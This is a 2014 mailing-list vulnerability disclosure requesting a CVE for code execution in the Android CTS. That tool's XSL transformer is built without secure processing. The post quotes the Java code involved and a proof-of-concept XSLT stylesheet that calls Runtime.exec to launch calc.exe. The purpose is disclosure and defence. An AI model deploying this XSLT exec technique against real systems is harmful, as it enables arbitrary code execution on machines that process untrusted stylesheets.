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Date: Sun, 19 Oct 2014 19:28:33 +1000
From: Lord Tuskington <>
Subject: CVE request: remote code execution in Android CTS

CTS parses api-coverage.xsl without providing the FEATURE_SECURE_PROCESSING
option. See lines 60-67 of

InputStream xsl =
StreamSource xslSource = new StreamSource(xsl);
TransformerFactory factory = TransformerFactory.newInstance();
Transformer transformer = factory.newTransformer(xslSource);

StreamSource xmlSource = new StreamSource(xmlIn);
StreamResult result = new StreamResult(out);
transformer.transform(xmlSource, result);

An attacker who is able to control api-coverage.xsl could inject arbitrary
code into it, which would be executed. For example:

<xsl:stylesheet version="1.0"
<xsl:output method="text"/>
    <xsl:template match="/">
       <xsl:variable name="Command"><![CDATA[calc.exe]]></xsl:variable>
       <xsl:variable name="RT" select="rt:getRuntime()"/>
       <xsl:variable name="proc" select="rt:exec($RT, $Command)"/>
       <xsl:text>Process: </xsl:text><xsl:value-of select="$proc"/>

Would pop a calc. This crosses a trust boundary because an attacker could
provide an XSL stylesheet that, for example, has enhanced visual layout. A
person consuming that stylesheet would assume it could not possibly contain
arbitrary code that would be executed, as it's just a stylesheet. The XSL
extensions to execute code should be disabled by passing


Lord Tuskington

Chief Financial Pinniped


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